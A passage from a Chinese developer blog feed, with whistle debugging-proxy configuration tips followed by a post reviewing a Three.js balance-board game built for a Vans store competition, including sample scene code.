<h2 id="设置不拦截"><a href="#设置不拦截" class="headerlink" title="设置不拦截"></a>设置不拦截</h2><p>禁用https拦截使用 <code>disable://intercept</code>,对iap支付或微信支付某些接口抓包会影响他的功能,因此需要取消拦截。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">*.weixin.qq.com <span class="built_in">disable</span>://intercept</span><br><span class="line">api.mch.weixin.qq.com <span class="built_in">disable</span>://intercept</span><br><span class="line">**.apple.com <span class="built_in">disable</span>://intercept <span class="comment">#屏蔽iap支付抓包</span></span><br><span class="line">**.icloud.com <span class="built_in">disable</span>://intercept</span><br><span class="line">http://mp.weixin.qq.com https://mp.weixin.qq.com</span><br></pre></td></tr></table></figure></p>
<p>还有其他的禁用也用的比较多的:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 禁用请求的缓存,只要经过代理且匹配到的请求都不会使用缓存</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://cache</span><br><span class="line"></span><br><span class="line"><span class="comment"># 禁用请求和响应的cookie</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://cookie </span><br><span class="line"></span><br><span class="line"><span class="comment"># 只禁用请求的cookie</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://reqCookie <span class="comment"># 也可以写成复数形式reqCookies</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除ua</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://ua</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除referer</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://referer</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除csp策略</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://csp (经常用,太好用了)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 禁用timeout,默认情况下whistle对每个请求如果36s内没有发生数据传输,会认为请求超时</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://timeout</span><br><span class="line"></span><br><span class="line"><span class="comment"># 把301转成302,防止cache</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://301</span><br><span class="line"></span><br><span class="line"><span class="comment"># 禁用https拦截</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://intercept</span><br><span class="line"></span><br><span class="line"><span class="comment"># 不缓存远程的dns(通过whistle配置的host是不会缓存),主要用于测试网页的极端情况的加载速度</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://dnsCache</span><br><span class="line"></span><br><span class="line"><span class="comment"># 禁用代理服务器请求链接复用</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://keepAlive</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除请求头 `x-requested-with`</span></span><br><span class="line">wwww.test.com <span class="built_in">disable</span>://ajax</span><br><span class="line"></span><br><span class="line"><span class="comment"># 也可以同时禁用多个</span></span><br><span class="line">www.example.com <span class="built_in">disable</span>://cache|cookie|ua|referer|csp|timeout|301|intercept|dnsCache|keepAlive</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="ignore"><a href="#ignore" class="headerlink" title="ignore"></a>ignore</h2><p><code>ignore</code>用于忽略指定协议的匹配规则,也可以忽略当前配置的匹配规则。如<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">www.example.com/<span class="built_in">test</span>-hosts 127.0.0.1:8080</span><br><span class="line">// 忽略 xxx路径的 host 规则</span><br><span class="line">www.example.com/<span class="built_in">test</span>-hosts/xxx ignore://host </span><br><span class="line">www.example.com/<span class="built_in">test</span>-hosts/yyy ignore://host|socks</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="urlParams-修改请求参数"><a href="#urlParams-修改请求参数" class="headerlink" title="urlParams 修改请求参数"></a>urlParams 修改请求参数</h2><p>有时候我们在较长的url上修改请求参数会比较麻烦,使用这个可以清晰的修改:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// 修改请求参数,配置方式:</span><br><span class="line">pattern urlParams://filepath</span><br><span class="line">// filepath为Values里面的{key}或者本地文件(如:e:\<span class="built_in">test</span>\xxx、e:/<span class="built_in">test</span>/xxx、/User/username/<span class="built_in">test</span>/xxx等):</span><br><span class="line"></span><br><span class="line">field1: value1</span><br><span class="line">field2: value2</span><br><span class="line">filedN: valueN</span><br><span class="line">// www.ifeng.com urlParams://(<span class="built_in">test</span>=1)</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="ua"><a href="#ua" class="headerlink" title="ua"></a>ua</h2><p>除了使用chrome模拟工具进行修改ua外,还可以使用whisle里的ua进行修改。如:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pattern ua://newUA</span><br><span class="line">www.ifeng.com ua://Mozilla/5.0</span><br><span class="line">// 把完整UA存在Values里面</span><br><span class="line">www.ifeng.com ua://{<span class="built_in">test</span>-ua}</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="修改content-type"><a href="#修改content-type" class="headerlink" title="修改content-type"></a>修改content-type</h2><p>分为请求的<code>content-type</code>以及响应的<code>content-type</code>。如:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">www.ifeng.com reqType://text</span><br><span class="line">www.ifeng.com reqType://application/x-www-form-urlencoded</span><br></pre></td></tr></table></figure></p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p><code>whisle</code>还有很多好用的地方,比如<code>compose</code>请求、插件、日志的导出、回放等真的太好用了。</p>
]]></content>
<summary type="html">
<p>用<code>whisle</code>已经差不都两年多了,真是个很棒的工具,除了配色,真的没有地方可以吐槽。下面总结下我经常用的并且好用的配置。</p>
<p><img src="whistle.png" alt="whisle"></p>
<hr>
<h2 id="转发
</summary>
<category term="工具/配置" scheme="http://sevencai.github.io/tags/%E5%B7%A5%E5%85%B7-%E9%85%8D%E7%BD%AE/"/>
</entry>
<entry>
<title>比赛项目总结</title>
<link href="http://sevencai.github.io/2020/01/04/%E6%AF%94%E8%B5%9B%E9%A1%B9%E7%9B%AE%E6%80%BB%E7%BB%93/"/>
<id>http://sevencai.github.io/2020/01/04/比赛项目总结/</id>
<published>2020-01-04T06:41:05.000Z</published>
<updated>2020-01-16T11:16:58.000Z</updated>
<content type="html"><![CDATA[<blockquote>
<p>这是2020年的第一篇文章,离上次写文章已经过了好长时间了,主要是工作真的很忙。刚刚一个版本转测完,趁周六这个时间,把之前去年觉得有意思的一件事情,想做下总结。</p>
<p>在2019年的9月,公司举办了一场比赛,这个比赛队伍需要为Vans创造出一个小程序/小游戏/AR/AI的互动 体验,并在腾讯模拟商店完成demo实操。聚焦于A (认知Aware) 和I (感兴趣Interest) 的阶段,帮助Vans门店探索有趣购物体验的同时 在互动过程中鼓励用户主动留下个人可识别信息。</p>
</blockquote>
<hr>
<h2 id="心里活动"><a href="#心里活动" class="headerlink" title="心里活动"></a>心里活动</h2><p>想记录下这次比赛的心里活动。现在回忆起来很有意思~</p>
<p>一开始我一般不会主动去关注这些比赛,主要是觉得工作比较忙,很花精力,周末有点时间,能在家休整下对我来说是很棒的事情。但是当他们把比赛的奖品列给我的时候,我。。。就好不犹豫的答应了(就是这么没有底线->逃)。当然还有一个原因,是参与这个比赛的其他小伙伴都很优秀,优秀的产品,优秀的设计,优秀的开发GG。</p>
<p>最后确认了比赛的小伙伴,2个开发,2个产品,1个设计师。</p>
<p>真正到开始参赛是,遇到的问题是:</p>
<ol>
<li>方案讨论太久,留给开发时间不足。导致时间很紧张。</li>
<li>实际方案跟我擅长的不搭配,我以为我是做小程序,实际后来去做的是大屏幕的3D动画。</li>
<li>不擅长写css, 自从来了公司后,重构和写js的就是分开的,导致了我这边对css不熟练,会写会调,但是不专业。另外一个开发GG也是一样的情况。</li>
<li>用户调研到了出demo的时候才开始,所以当用户体验流程出现问题要修改时,时间非常紧,心情也会比较低落。</li>
</ol>
<p>最难的应该是时间短,因为问题都是有办法解决的,难的是在有限的时间内解决自己不熟悉的问题。</p>
<p>中间产品们提的方案非常完整,增加了排队等机制,这些对于我们来说在这个时间内已经不可能完成了,通过大家一起的商定,决定先把主流程做出来。这里真的觉得会为开发考虑开发成本以及衡量时间的产品有多优秀。事实也证明对于比赛来说这些流程确实也不需要,把用户核心的体验环节打磨好才是最重要的。</p>
<p>开发小哥是个高级工程师,非常优秀,各方面都比我有经验,有时有一点的碰撞,就已经让我觉得<code>不需此行</code>。</p>
<hr>
<h2 id="比赛题目分析"><a href="#比赛题目分析" class="headerlink" title="比赛题目分析"></a>比赛题目分析</h2><p>比赛的最重要的一点通过产品吸引用户进入门店,并主动留下个人可识别信息。产品小姐姐们迅速确认了这一点,围绕在互动有趣的体验,开始了脑暴。</p>
<p>最后我们确认了最后方案:用户使用平衡板,在1分钟内触地3次,将结束比赛,否则通关。我们通过手机陀螺仪感应用户的行为,如摔倒、空闲。手机陀螺仪和server间建立websocket连接。server端和大屏端也建立websocket连接,大屏收到消息后,展示用户行为,如摔倒等内容。这个方案的优点就在于平衡板,用户看到这个东西的时候,就已经很想踩上去了。实际上后来我们发现也是这样,很多路过的小伙伴经过,都想要去体验下,挑战下自己再这个平衡板上能坚持多久,当有小伙伴同行时,这个方案的优势会放大。后来我们发现,相比纯大屏的游戏来说,我们的确实更加生动,也更加吸引用户参与游戏,让用户有参与感。</p>
<p>在这个基础上,产品们想了很多优化:</p>
<ol>
<li>如何才能记录下用户的偏好?帮助企业更好的拿到用户的画像?–增加战服挑选,战服由不同的搭配组成,从而在选择过程中,可知道用户偏好。</li>
<li>如果留资?–启动游戏需要用微信扫码小程序,过程中静默授权,即可拿到openid。</li>
<li>如何游戏过程中,能让用户了解企业文化?–游戏闯关与企业大事件结合,游戏结束,用户在手机上或者大屏即可查到当前分数对应的企业大事件,从而宣导企业文化。</li>
<li>如何更让用户有参与感?–增加用户闯关音效动画鼓励,结合排行榜等内容</li>
</ol>
<p>开发方案:</p>
<ol>
<li>手机陀螺仪感知平衡板行为,与server端建立通信</li>
<li>server端负责与大屏和手机陀螺仪建立websocket链接</li>
<li>大屏幕上是一个3D动画,展示比赛开始,人物前进、摔倒、闯关、游戏结束等行为。</li>
<li>小程序端承载用户扫码开始游戏行为</li>
</ol>
<p>最终确认方案后,我和开发GG就确认了分工,我做3D动画,他做小程序端。这对我们来说也是有一定的意义的,他之前没有接触过小程序,我之前没有接触过3D动画,趁这次比赛的机会也算对自己的认知有所增进。</p>
<hr>
<h2 id="3D动画"><a href="#3D动画" class="headerlink" title="3D动画"></a>3D动画</h2><p>最后选定了用<code>Three.js</code>做 3D 动画。对于一个完全不了解的东西并且需要快速开发出来的产品,我做了下面几件事情:</p>
<ol>
<li>先没看开发文档,去官网看了下 demo, 把所有 demo 浏览了一次,看了下用<code>Three.js</code>能实现哪些东西。demo里有个 <code>roller coaster</code>,看到这个我安心了,虽然跟最终我们需要的东西相差太大,但是基本上的过称是一致的,就是要有人坐在过山车上,旁边景物移动的过称。</li>
<li>去网上找了一本很简单的入门的书,大概了解了下有哪些Api, 了解什么是渲染器,什么是场景、灯光、视角等。</li>
<li>去 github 上找有没有相关的类似项目可以供参考。</li>
<li>结合具体我们的需求,看官方文档,比如如何实现图片纹理的改变。如果官网没找到示例,看有没有npm可以使用。</li>
<li>确定了哪些是必须用 3D 动画去实现的,哪些是 css 可以搞定的。</li>
<li>理清思路,大屏需要做的是建立与 server 端的链接,接受 server 端拿到的陀螺仪的改变,从而在大屏里展示不同的内容。</li>
</ol>
<p>最后的demo如下:(以下为是最简单的动画,金币、人物摔倒、平衡板、生命值的改变等都没有录进去)。</p>
<video src="seven.mp4" type="video/mp4" controls="controls" width="100%" height="100%"><br></video>
<hr>
<h2 id="代码简单记录"><a href="#代码简单记录" class="headerlink" title="代码简单记录"></a>代码简单记录</h2><p>下面简单的记录下动画这块的代码,我估计过一段时间这些<code>Three.js</code>的Api都会忘记了。</p>
<p><code>object.js</code>里定义的是各种各样的物体,比如斑马线,山峰等:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 斑马线</span></span><br><span class="line"><span class="comment"> * @constructor</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">var</span> Roadline = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> geomLine = <span class="keyword">new</span> THREE.BoxGeometry(<span class="number">1</span>,<span class="number">1</span>,<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> matLine = <span class="keyword">new</span> THREE.MeshPhongMaterial({</span><br><span class="line"> color: Colors.white</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> line = <span class="keyword">new</span> THREE.Mesh(geomLine, matLine)</span><br><span class="line"></span><br><span class="line"> line.receiveShadow =<span class="literal">true</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.line = line</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 山峰固定不动</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Mountain</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span>() {</span><br><span class="line"> <span class="keyword">let</span> map = <span class="keyword">new</span> THREE.TextureLoader().load(<span class="built_in">require</span>(<span class="string">"../../ui/images/img_mountain.png"</span>))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> material = <span class="keyword">new</span> THREE.SpriteMaterial({</span><br><span class="line"> map,</span><br><span class="line"> <span class="comment">// depthTest: false</span></span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> mountain = <span class="keyword">new</span> THREE.Sprite(material)</span><br><span class="line"></span><br><span class="line"> mountain.scale.set(<span class="number">961</span> / <span class="number">3</span>, <span class="number">140</span> / <span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.mountain = mountain</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 草丛</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Bush</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span>() {</span><br><span class="line"> <span class="keyword">let</span> random = getRandomInt(<span class="number">3</span>) + <span class="number">1</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> map = <span class="keyword">new</span> THREE.TextureLoader().load(<span class="built_in">require</span>(<span class="string">"../../ui/images/img_grass"</span> + random + <span class="string">".png"</span>))</span><br><span class="line"> <span class="keyword">let</span> material = <span class="keyword">new</span> THREE.SpriteMaterial({</span><br><span class="line"> map,</span><br><span class="line"> depthTest: <span class="literal">false</span>,</span><br><span class="line"> transparent: <span class="literal">true</span>,</span><br><span class="line"> })</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> bush = <span class="keyword">new</span> THREE.Sprite(material)</span><br><span class="line"></span><br><span class="line"> bush.castShadow = <span class="literal">true</span></span><br><span class="line"> bush.receiveShadow = <span class="literal">true</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> scaleX = <span class="number">8</span>, scaleY = <span class="number">8</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">switch</span> (random) {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> scaleX = <span class="number">170</span> / <span class="number">22</span></span><br><span class="line"> scaleY = <span class="number">425</span> / <span class="number">22</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> scaleX = <span class="number">39</span> / <span class="number">10</span></span><br><span class="line"> scaleY = <span class="number">103</span> / <span class="number">10</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> scaleX = <span class="number">55</span> / <span class="number">10</span></span><br><span class="line"> scaleY = <span class="number">103</span> / <span class="number">10</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> bush.scale.set(scaleX, scaleY)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.bush = bush</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>定义好物体后,就可以开始创建场景,灯光。其实整体的思路就是把创建好一个个的物体,把物体摆放到对应的位置,随着时间的推移,去移动这些物体的位置。这样就可以形成一个3D动画的效果了。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span 